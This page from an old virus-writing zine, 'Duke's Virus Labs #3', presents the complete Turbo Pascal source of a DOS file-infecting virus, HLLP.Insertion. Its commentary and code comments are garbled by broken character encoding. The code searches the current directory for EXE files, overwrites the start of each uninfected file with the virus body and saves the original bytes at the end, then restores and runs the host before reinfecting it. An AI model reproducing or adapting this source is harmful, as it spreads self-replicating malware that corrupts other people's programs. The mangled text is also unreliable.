- [Duke's Virus Labs #3] - [Page 13] -

HLLP.Insertion
(c) by Duke/SMF

     : HLLP.Insertion
         : Duke/SMF
 ᮧ : 04.12.98

  ⥩訩 ࠧ  ᪠,  ⪮஢ :))
ࠦ  EXE-䠩  ⥪饬 ⠫, ᫨  䠩 >=  .
 ᨬ  ᨨ ࠦ/ ࠦ 䠩  ਡ⮬ Read-Only.
   ࠦ  ᯮ ⠭ ਥ: ७ VirusSize
  砫    ,  ᠬ 뢠   .
  ஢  ୮ ࠦ.  ⮣  ஢ ,
室騥   樨 VirusSize    (VirusSize - 
). ᫨   ⫨  "MZ",   뢮  ⮬,
 䠩   ࠦ,  ⢠   ࠦ ;)
   ࠭ ࠬ  ப . । ᪮
ࠦ 䠩  頥  ࢮ砫 , ⮬
 ࠦ ணࠬ, ஫ ᢮ 楫⭮.

===== Cut here =====
{$M 3000, 0, 65535}
program insertion_2_0;
uses dos;
const len=5200;                    { ணࠬ}
var a,b:file;                      {""-室, ""-}
    nam:searchrec;
    w:array[1..len] of byte;
    w1:array[1..len] of byte;
    t:boolean;
    s:string;
{------------------------------}
procedure DOP;
var par:string;
    i:byte;
begin
{頥 "" ࢮ砫 :}
seek(a,filesize(a)-len);           {⥫ ⠢  砫 save-"".}
BlockRead(a,w,len);                {Save-"A" ⠭  ᨢ W.}
seek(a,0);                         {⥫ ⠢  砫 "".}
BlockWrite(a,w,len);               {ᨢ W ᠭ  砫 "".}
seek(a,filesize(a)-len);           {⥫ ⠢  砫 save-"".}
truncate(a);                       {뢠 save- "".}
close(a);                          {뢠 ""}
for i:=1 to paramcount do par:=par+paramstr(i)+' ';
exec(s,par);                       {᪠ ""}
assign(a,s);                       { 뢠 ""}
reset(a,1);
seek(a,0);                         {⥫  砫 "A"}
BlockRead(a,w,len);                {⠥ 砫 "A"}
seek(a,filesize(a));               {⥫   "A"}
BlockWrite(a,w,len);               {࠭塞 砫   "A"}
seek(a,0);                         {⠭ 㪠⥫  砫 ""}
BlockWrite(a,w1,len);              {頥 VIR  砫 ""}
close(a);                          {뢠 ""}
end;
{--------------------------------------------------------------------------}
procedure Insertion(st:string);    {楤 ࠦ 䠩}
begin
assign(b,st);reset(b,1);
assign(a,s);reset(a,1);            {뢠 "".}
{࠭ 砫 "" :}
seek(b,0);                         {⥫ ⠢  砫 "".}
BlockRead(b,w,len);                {砫 "" ⠭  ᨢ W.}
seek(b,filesize(b));               {⥫ ⠢   "".}
BlockWrite(b,w,len);               {ᨢ W ᠭ   "".}
{  砫 "" :}
{seek(a,0);                         {⥫ ⠢  砫 "".}
BlockRead(a,w1,len);               {⠥ 砫 ""  W1.}
seek(b,0);                         {⥫ ⠢  砫 "".}
BlockWrite(b,w1,len);              {襬 W1  砫 "".}
close(b);                          {뢠 "".}
close(a);
t:=true;
end;
{--------------------------------------------------------------------------}
procedure check(st:string); {஢ઠ  ࠦ}
var c,d:byte;
begin
assign(b,st);reset(b,1);
if filesize(b)<=len then           { ࠦ 䠩 }
  begin                            {   }
  close(b);
  exit;
  end;
seek(b,filesize(b)-len);
blockread(b,c,1);blockread(b,d,1);
if (c<>ord('M')) or (d<>ord('Z')) then Insertion(st) else close(b);
end;
{-------------------------------------------------------------------------}
begin
asm
  jmp @lab
  db 'Insertion v2.0 (c) by Duke/SMF',0
@lab:
end;
s:=paramstr(0);
t:=false;
findfirst('*.exe',$20,nam);        { 室饣 䠩:}
check(nam.name);
while (doserror=0) and (t=false) do
  begin
  findnext(nam);
  check(nam.name);
  end;
assign(a,s);reset(a);
if filesize(a)<=len then close(a)
                    else DOP;
end.
===== Cut here =====
